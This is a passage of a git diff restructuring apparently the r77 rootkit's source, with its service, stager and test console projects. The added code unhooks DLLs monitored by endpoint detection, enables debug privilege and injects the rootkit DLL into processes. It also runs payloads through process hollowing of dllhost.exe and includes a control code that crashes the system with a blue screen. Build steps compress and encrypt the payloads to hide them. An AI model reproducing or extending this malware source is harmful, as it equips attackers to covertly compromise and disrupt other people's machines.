+VOID ChildProcessListener(PROCESSIDCALLBACK callback); +static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter); + +#endif \ No newline at end of file diff --git a/vs/InstallService32/Resource.rc b/Service/Resource.rc similarity index 100% rename from vs/InstallService32/Resource.rc rename to Service/Resource.rc diff --git a/src/InstallService/InstallService.cpp b/Service/Service.c similarity index 84% rename from src/InstallService/InstallService.cpp rename to Service/Service.c index a08287a..72a18c4 100644 --- a/src/InstallService/InstallService.cpp +++ b/Service/Service.c @@ -1,17 +1,27 @@ -#include "InstallService.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "Service.h" +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include "r77config.h" +#include "r77process.h" +#include "ProcessListener.h" +#include "ControlPipeListener.h" +#include +#include + +int main() { // Unhook DLL's that are monitored by EDR. UnhookDll(L"ntdll.dll"); - if (IsWindows10OrGreater() || sizeof(LPVOID) == 8) + if (IsWindows10OrGreater2() || BITNESS(64)) { // Unhooking kernel32.dll on Windows 7 x86 fails. //TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails. UnhookDll(L"kernel32.dll"); } - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Get r77 DLL. if (!GetResource(IDR_R77, "DLL", &Dll, &DllSize)) return 0; @@ -31,7 +41,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma { // The registry values "svc32" and "svc64" are reserved for the r77 service. DWORD processId = GetCurrentProcessId(); - RegSetValueExW(pidKey, sizeof(LPVOID) == 4 ? L"svc32" : L"svc64", 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD)); + RegSetValueExW(pidKey, COALESCE_BITNESS(L"svc32", L"svc64"), 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD)); RegCloseKey(pidKey); } @@ -57,7 +67,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma // If the R77_SIGNATURE is already present in the target process, the r77 DLL will just unload itself. // Perform startup of custom files, only in the 32-bit service to not perform startup twice. - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { PR77_CONFIG config = LoadR77Config(); @@ -69,7 +79,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma DeleteR77Config(config); } - while (true) + while (TRUE) { Sleep(100); } @@ -104,7 +114,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) { case CONTROL_R77_TERMINATE_SERVICE: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -114,18 +124,18 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_UNINSTALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | (sizeof(LPVOID) == 4 ? KEY_WOW64_32KEY : KEY_WOW64_64KEY), &key) == ERROR_SUCCESS) + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | COALESCE_BITNESS(KEY_WOW64_32KEY, KEY_WOW64_64KEY), &key) == ERROR_SUCCESS) { RegDeleteValueW(key, HIDE_PREFIX L"stager"); } - DeleteScheduledTask(sizeof(LPVOID) == 4 ? R77_SERVICE_NAME32 : R77_SERVICE_NAME64); + DeleteScheduledTask(COALESCE_BITNESS(R77_SERVICE_NAME32, R77_SERVICE_NAME64)); DetachAllInjectedProcesses(); UninstallR77Config(); TerminateR77Service(-1); @@ -133,7 +143,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_PAUSE_INJECTION: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -143,7 +153,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_RESUME_INJECTION: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -162,7 +172,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) BOOL is64Bit; if (Is64BitProcess(processId, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { InjectDll(processId, Dll, DllSize, TRUE); } @@ -177,12 +187,12 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_PROCESSES_INJECT_ALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } - LPDWORD processes = new DWORD[10000]; + LPDWORD processes = NEW_ARRAY(DWORD, 10000); DWORD processCount = 0; if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount)) { @@ -206,9 +216,9 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) BOOL is64Bit; if (Is64BitProcess(processId, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { - DetachInjectedProcess(processId); + DetachInjectedProcessById(processId); } else { @@ -221,7 +231,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_PROCESSES_DETACH_ALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -250,13 +260,13 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) DWORD bytesRead; if (ReadFile(pipe, &fileSize, sizeof(DWORD), &bytesRead, NULL) && bytesRead == sizeof(DWORD)) { - LPBYTE file = new BYTE[fileSize]; + LPBYTE file = NEW_ARRAY(BYTE, fileSize); if (ReadFile(pipe, file, fileSize, &bytesRead, NULL) && bytesRead == fileSize) { BOOL is64Bit; if (IsExecutable64Bit(file, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { RunPE(path, file); } @@ -270,21 +280,21 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) pathSize + // path sizeof(DWORD) + // file size fileSize; // file - LPBYTE redirectedData = new BYTE[redirectedDataSize]; + LPBYTE redirectedData = NEW_ARRAY(BYTE, redirectedDataSize); DWORD offset = 0; - memcpy(redirectedData + offset, path, pathSize); + libc_memcpy(redirectedData + offset, path, pathSize); offset += pathSize; - memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); + libc_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); offset += sizeof(DWORD); - memcpy(redirectedData + offset, file, fileSize); + libc_memcpy(redirectedData + offset, file, fileSize); RedirectCommand64(controlCode, redirectedData, redirectedDataSize); - delete[] redirectedData; + FREE(redirectedData); } } } - delete[] file; + FREE(file); } } @@ -293,10 +303,10 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) case CONTROL_SYSTEM_BSOD: { BOOLEAN previousValue = FALSE; - nt::RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); + RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); BOOLEAN oldIsCritical = FALSE; - nt::RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); + RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); ExitProcess(0); break; diff --git a/src/InstallService/InstallService.h b/Service/Service.h similarity index 91% rename from src/InstallService/InstallService.h rename to Service/Service.h index a357b43..4ca6e47 100644 --- a/src/InstallService/InstallService.h +++ b/Service/Service.h @@ -1,7 +1,5 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/InstallService32/resource.h" +#define CUSTOM_ENTRY +#include "r77mindef.h" /// /// The r77 DLL. @@ -15,7 +13,7 @@ DWORD DllSize; /// Specifies whether to temporarily pause injection. /// This flag is related to the CONTROL_R77_PAUSE_INJECTION control code. /// -BOOL IsInjectionPaused = FALSE; +BOOL IsInjectionPaused; /// /// Callback for newly created child processes that should be injected. diff --git a/Service/Service.vcxitems b/Service/Service.vcxitems new file mode 100644 index 0000000..672182a --- /dev/null +++ b/Service/Service.vcxitems @@ -0,0 +1,30 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {46e171d4-1811-48be-8867-a63c28761d28} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/vs/InstallService32/resource.h b/Service/resource.h similarity index 100% rename from vs/InstallService32/resource.h rename to Service/resource.h diff --git a/vs/InstallService32/Resources/.gitkeep b/Service32/Resources/.gitkeep similarity index 100% rename from vs/InstallService32/Resources/.gitkeep rename to Service32/Resources/.gitkeep diff --git a/vs/InstallService32/InstallService32.vcxproj b/Service32/Service32.vcxproj similarity index 73% rename from vs/InstallService32/InstallService32.vcxproj rename to Service32/Service32.vcxproj index 64d49a2..367639b 100644 --- a/vs/InstallService32/InstallService32.vcxproj +++ b/Service32/Service32.vcxproj @@ -14,20 +14,20 @@ 16.0 Win32Proj {7271afd1-10f6-4589-95b7-3abf98e7b2ca} - InstallService32 + Service32 10.0 Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,34 @@ true + false false + false Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt @@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt - - - - - - - - - - - - - diff --git a/Service32/Service32.vcxproj.filters b/Service32/Service32.vcxproj.filters new file mode 100644 index 0000000..51ff1a1 --- /dev/null +++ b/Service32/Service32.vcxproj.filters @@ -0,0 +1,13 @@ + + + + + {d2e0541b-9b37-4d4c-862a-dc53df8eeb06} + + + + + Resources + + + \ No newline at end of file diff --git a/vs/InstallService64/Resources/.gitkeep b/Service64/Resources/.gitkeep similarity index 100% rename from vs/InstallService64/Resources/.gitkeep rename to Service64/Resources/.gitkeep diff --git a/vs/InstallService64/InstallService64.vcxproj b/Service64/Service64.vcxproj similarity index 72% rename from vs/InstallService64/InstallService64.vcxproj rename to Service64/Service64.vcxproj index 5811991..e85a89f 100644 --- a/vs/InstallService64/InstallService64.vcxproj +++ b/Service64/Service64.vcxproj @@ -14,20 +14,20 @@ 16.0 Win32Proj {e3104b33-db3d-4c83-b393-1e05e1ff2b10} - InstallService64 + Service64 10.0 Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,34 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt @@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt - - - - - - - - - - - - - diff --git a/Service64/Service64.vcxproj.filters b/Service64/Service64.vcxproj.filters new file mode 100644 index 0000000..af59fd3 --- /dev/null +++ b/Service64/Service64.vcxproj.filters @@ -0,0 +1,13 @@ + + + + + {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d} + + + + + Resources + + + \ No newline at end of file diff --git a/SlnBin/x64/detours.pdb b/SlnBin/x64/detours.pdb deleted file mode 100644 index 812594c..0000000 Binary files a/SlnBin/x64/detours.pdb and /dev/null differ diff --git a/SlnBin/x86/detours.pdb b/SlnBin/x86/detours.pdb deleted file mode 100644 index 4878268..0000000 Binary files a/SlnBin/x86/detours.pdb and /dev/null differ diff --git a/src/InstallStager/Helper.cs b/Stager/Helper.cs similarity index 100% rename from src/InstallStager/Helper.cs rename to Stager/Helper.cs diff --git a/vs/InstallStager/Properties/Resources.Designer.cs b/Stager/Properties/Resources.Designer.cs similarity index 85% rename from vs/InstallStager/Properties/Resources.Designer.cs rename to Stager/Properties/Resources.Designer.cs index a15425c..3d45d84 100644 --- a/vs/InstallStager/Properties/Resources.Designer.cs +++ b/Stager/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace InstallStager.Properties { +namespace Stager.Properties { using System; @@ -19,7 +19,7 @@ namespace InstallStager.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -39,7 +39,7 @@ internal Resources() { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("InstallStager.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stager.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -63,9 +63,9 @@ internal Resources() { /// /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] InstallService32 { + internal static byte[] Service32 { get { - object obj = ResourceManager.GetObject("InstallService32", resourceCulture); + object obj = ResourceManager.GetObject("Service32", resourceCulture); return ((byte[])(obj)); } } @@ -73,9 +73,9 @@ internal static byte[] InstallService32 { /// /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] InstallService64 { + internal static byte[] Service64 { get { - object obj = ResourceManager.GetObject("InstallService64", resourceCulture); + object obj = ResourceManager.GetObject("Service64", resourceCulture); return ((byte[])(obj)); } } diff --git a/vs/InstallStager/Properties/Resources.resx b/Stager/Properties/Resources.resx similarity index 89% rename from vs/InstallStager/Properties/Resources.resx rename to Stager/Properties/Resources.resx index 3f7d266..3ad3432 100644 --- a/vs/InstallStager/Properties/Resources.resx +++ b/Stager/Properties/Resources.resx @@ -112,16 +112,16 @@ 2.0 - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\InstallService32.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Service32.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\InstallService64.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\Service64.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \ No newline at end of file diff --git a/vs/InstallStager/Resources/.gitkeep b/Stager/Resources/.gitkeep similarity index 100% rename from vs/InstallStager/Resources/.gitkeep rename to Stager/Resources/.gitkeep diff --git a/src/InstallStager/RunPE.cs b/Stager/RunPE.cs similarity index 100% rename from src/InstallStager/RunPE.cs rename to Stager/RunPE.cs diff --git a/src/InstallStager/InstallStager.cs b/Stager/Stager.cs similarity index 94% rename from src/InstallStager/InstallStager.cs rename to Stager/Stager.cs index 5e37aa8..7306641 100644 --- a/src/InstallStager/InstallStager.cs +++ b/Stager/Stager.cs @@ -1,4 +1,4 @@ -using InstallStager.Properties; +using Stager.Properties; using System; using System.Diagnostics; using System.IO; @@ -30,8 +30,8 @@ public static void Main() Process.EnterDebugMode(); // Get r77 service executable. - byte[] payload32 = Decompress(Decrypt(Resources.InstallService32)); - byte[] payload64 = Decompress(Decrypt(Resources.InstallService64)); + byte[] payload32 = Decompress(Decrypt(Resources.Service32)); + byte[] payload64 = Decompress(Decrypt(Resources.Service64)); // Executable to be used for process hollowing. string path = @"C:\Windows\System32\dllhost.exe"; diff --git a/vs/InstallStager/InstallStager.csproj b/Stager/Stager.csproj similarity index 80% rename from vs/InstallStager/InstallStager.csproj rename to Stager/Stager.csproj index 1ea0f55..b6bd08c 100644 --- a/vs/InstallStager/InstallStager.csproj +++ b/Stager/Stager.csproj @@ -6,8 +6,8 @@ AnyCPU {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} WinExe - InstallStager - InstallStager + Stager + Stager v3.5 512 true @@ -41,9 +41,6 @@ - - - ResXFileCodeGenerator @@ -51,26 +48,21 @@ - - Helper.cs - - - InstallStager.cs - - - RunPE.cs - - - Unhook.cs - + + True True Resources.resx + + + + + - + diff --git a/src/InstallStager/Unhook.cs b/Stager/Unhook.cs similarity index 100% rename from src/InstallStager/Unhook.cs rename to Stager/Unhook.cs diff --git a/vs/TestConsole/App.xaml b/TestConsole/App.xaml similarity index 100% rename from vs/TestConsole/App.xaml rename to TestConsole/App.xaml diff --git a/vs/TestConsole/App.xaml.cs b/TestConsole/App.xaml.cs similarity index 100% rename from vs/TestConsole/App.xaml.cs rename to TestConsole/App.xaml.cs diff --git a/vs/TestConsole/Controller/AppResources.cs b/TestConsole/Controller/AppResources.cs similarity index 100% rename from vs/TestConsole/Controller/AppResources.cs rename to TestConsole/Controller/AppResources.cs diff --git a/vs/TestConsole/Controller/ControlCode.cs b/TestConsole/Controller/ControlCode.cs similarity index 100% rename from vs/TestConsole/Controller/ControlCode.cs rename to TestConsole/Controller/ControlCode.cs diff --git a/vs/TestConsole/Controller/ControlPipe.cs b/TestConsole/Controller/ControlPipe.cs similarity index 100% rename from vs/TestConsole/Controller/ControlPipe.cs rename to TestConsole/Controller/ControlPipe.cs diff --git a/vs/TestConsole/Controller/ProcessList.cs b/TestConsole/Controller/ProcessList.cs similarity index 100% rename from vs/TestConsole/Controller/ProcessList.cs rename to TestConsole/Controller/ProcessList.cs diff --git a/vs/TestConsole/Model/Logging/LogDetailsItem.cs b/TestConsole/Model/Logging/LogDetailsItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogDetailsItem.cs rename to TestConsole/Model/Logging/LogDetailsItem.cs diff --git a/vs/TestConsole/Model/Logging/LogFileItem.cs b/TestConsole/Model/Logging/LogFileItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogFileItem.cs rename to TestConsole/Model/Logging/LogFileItem.cs diff --git a/vs/TestConsole/Model/Logging/LogItem.cs b/TestConsole/Model/Logging/LogItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogItem.cs rename to TestConsole/Model/Logging/LogItem.cs diff --git a/vs/TestConsole/Model/Logging/LogLinkItem.cs b/TestConsole/Model/Logging/LogLinkItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogLinkItem.cs rename to TestConsole/Model/Logging/LogLinkItem.cs diff --git a/vs/TestConsole/Model/Logging/LogMessage.cs b/TestConsole/Model/Logging/LogMessage.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogMessage.cs rename to TestConsole/Model/Logging/LogMessage.cs diff --git a/vs/TestConsole/Model/Logging/LogMessageType.cs b/TestConsole/Model/Logging/LogMessageType.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogMessageType.cs rename to TestConsole/Model/Logging/LogMessageType.cs diff --git a/vs/TestConsole/Model/Logging/LogTextItem.cs b/TestConsole/Model/Logging/LogTextItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogTextItem.cs rename to TestConsole/Model/Logging/LogTextItem.cs diff --git a/vs/TestConsole/Model/ProcessView.cs b/TestConsole/Model/ProcessView.cs similarity index 100% rename from vs/TestConsole/Model/ProcessView.cs rename to TestConsole/Model/ProcessView.cs diff --git a/vs/TestConsole/Properties/AssemblyInfo.cs b/TestConsole/Properties/AssemblyInfo.cs similarity index 100% rename from vs/TestConsole/Properties/AssemblyInfo.cs rename to TestConsole/Properties/AssemblyInfo.cs diff --git a/vs/TestConsole/Resources/AboutBanner.png b/TestConsole/Resources/AboutBanner.png similarity index 100% rename from vs/TestConsole/Resources/AboutBanner.png rename to TestConsole/Resources/AboutBanner.png diff --git a/vs/TestConsole/Resources/AboutGitHub16.png b/TestConsole/Resources/AboutGitHub16.png similarity index 100% rename from vs/TestConsole/Resources/AboutGitHub16.png rename to TestConsole/Resources/AboutGitHub16.png diff --git a/vs/TestConsole/Resources/AboutTitle.png b/TestConsole/Resources/AboutTitle.png similarity index 100% rename from vs/TestConsole/Resources/AboutTitle.png rename to TestConsole/Resources/AboutTitle.png diff --git a/vs/TestConsole/Resources/AboutWebsite16.png b/TestConsole/Resources/AboutWebsite16.png similarity index 100% rename from vs/TestConsole/Resources/AboutWebsite16.png rename to TestConsole/Resources/AboutWebsite16.png diff --git a/vs/TestConsole/Resources/ControlPipe16.png b/TestConsole/Resources/ControlPipe16.png similarity index 100% rename from vs/TestConsole/Resources/ControlPipe16.png rename to TestConsole/Resources/ControlPipe16.png diff --git a/vs/TestConsole/Resources/DllDetach16.png b/TestConsole/Resources/DllDetach16.png similarity index 100% rename from vs/TestConsole/Resources/DllDetach16.png rename to TestConsole/Resources/DllDetach16.png diff --git a/vs/TestConsole/Resources/DllInject16.png b/TestConsole/Resources/DllInject16.png similarity index 100% rename from vs/TestConsole/Resources/DllInject16.png rename to TestConsole/Resources/DllInject16.png diff --git a/vs/TestConsole/Resources/DllInjected16.png b/TestConsole/Resources/DllInjected16.png similarity index 100% rename from vs/TestConsole/Resources/DllInjected16.png rename to TestConsole/Resources/DllInjected16.png diff --git a/vs/TestConsole/Resources/Error16.png b/TestConsole/Resources/Error16.png similarity index 100% rename from vs/TestConsole/Resources/Error16.png rename to TestConsole/Resources/Error16.png diff --git a/vs/TestConsole/Resources/Example16.png b/TestConsole/Resources/Example16.png similarity index 100% rename from vs/TestConsole/Resources/Example16.png rename to TestConsole/Resources/Example16.png diff --git a/vs/TestConsole/Resources/Exe16.png b/TestConsole/Resources/Exe16.png similarity index 100% rename from vs/TestConsole/Resources/Exe16.png rename to TestConsole/Resources/Exe16.png diff --git a/vs/TestConsole/Resources/ExeUac16.png b/TestConsole/Resources/ExeUac16.png similarity index 100% rename from vs/TestConsole/Resources/ExeUac16.png rename to TestConsole/Resources/ExeUac16.png diff --git a/vs/TestConsole/Resources/Hidden16.png b/TestConsole/Resources/Hidden16.png similarity index 100% rename from vs/TestConsole/Resources/Hidden16.png rename to TestConsole/Resources/Hidden16.png diff --git a/vs/TestConsole/Resources/Information16.png b/TestConsole/Resources/Information16.png similarity index 100% rename from vs/TestConsole/Resources/Information16.png rename to TestConsole/Resources/Information16.png diff --git a/vs/TestConsole/Resources/Pdf16.png b/TestConsole/Resources/Pdf16.png similarity index 100% rename from vs/TestConsole/Resources/Pdf16.png rename to TestConsole/Resources/Pdf16.png diff --git a/vs/TestConsole/Resources/Processes16.png b/TestConsole/Resources/Processes16.png similarity index 100% rename from vs/TestConsole/Resources/Processes16.png rename to TestConsole/Resources/Processes16.png diff --git a/vs/TestConsole/Resources/R77Helper16.png b/TestConsole/Resources/R77Helper16.png similarity index 100% rename from vs/TestConsole/Resources/R77Helper16.png rename to TestConsole/Resources/R77Helper16.png diff --git a/vs/TestConsole/Resources/R77Service16.png b/TestConsole/Resources/R77Service16.png similarity index 100% rename from vs/TestConsole/Resources/R77Service16.png rename to TestConsole/Resources/R77Service16.png diff --git a/vs/TestConsole/Resources/Uac16.png b/TestConsole/Resources/Uac16.png similarity index 100% rename from vs/TestConsole/Resources/Uac16.png rename to TestConsole/Resources/Uac16.png diff --git a/vs/TestConsole/Resources/Unhidden16.png b/TestConsole/Resources/Unhidden16.png similarity index 100% rename from vs/TestConsole/Resources/Unhidden16.png rename to TestConsole/Resources/Unhidden16.png diff --git a/vs/TestConsole/Resources/Warning16.png b/TestConsole/Resources/Warning16.png similarity index 100% rename from vs/TestConsole/Resources/Warning16.png rename to TestConsole/Resources/Warning16.png diff --git a/vs/TestConsole/TestConsole.csproj b/TestConsole/TestConsole.csproj similarity index 86% rename from vs/TestConsole/TestConsole.csproj rename to TestConsole/TestConsole.csproj index a6c2b20..5e62c31 100644 --- a/vs/TestConsole/TestConsole.csproj +++ b/TestConsole/TestConsole.csproj @@ -42,13 +42,11 @@ app.manifest - - False - ..\..\SlnBin\BytecodeApi.dll + + ..\SlnBin\BytecodeApi.dll - - False - ..\..\SlnBin\BytecodeApi.UI.dll + + ..\SlnBin\BytecodeApi.UI.dll @@ -66,7 +64,7 @@ MSBuild:Compile Designer - + Properties\GlobalAssemblyInfo.cs @@ -170,14 +168,14 @@ "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)..\$Build" -xcopy /Y "$(SolutionDir)..\$Build\Helper32.exe" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\Helper64.exe" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\r77-x86.dll" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\r77-x64.dll" "$(TargetDir)" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)$Build" +xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)$Build" +xcopy /Y "$(SolutionDir)$Build\Helper32.exe" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\Helper64.exe" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\r77-x86.dll" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\r77-x64.dll" "$(TargetDir)" diff --git a/vs/TestConsole/TestConsole.ico b/TestConsole/TestConsole.ico similarity index 100% rename from vs/TestConsole/TestConsole.ico rename to TestConsole/TestConsole.ico diff --git a/vs/TestConsole/ViewModels/AboutPopupViewModel.cs b/TestConsole/ViewModels/AboutPopupViewModel.cs similarity index 100% rename from vs/TestConsole/ViewModels/AboutPopupViewModel.cs rename to TestConsole/ViewModels/AboutPopupViewModel.cs diff --git a/vs/TestConsole/ViewModels/MainWindowViewModel.cs b/TestConsole/ViewModels/MainWindowViewModel.cs similarity index 100% rename from vs/TestConsole/ViewModels/MainWindowViewModel.cs rename to TestConsole/ViewModels/MainWindowViewModel.cs diff --git 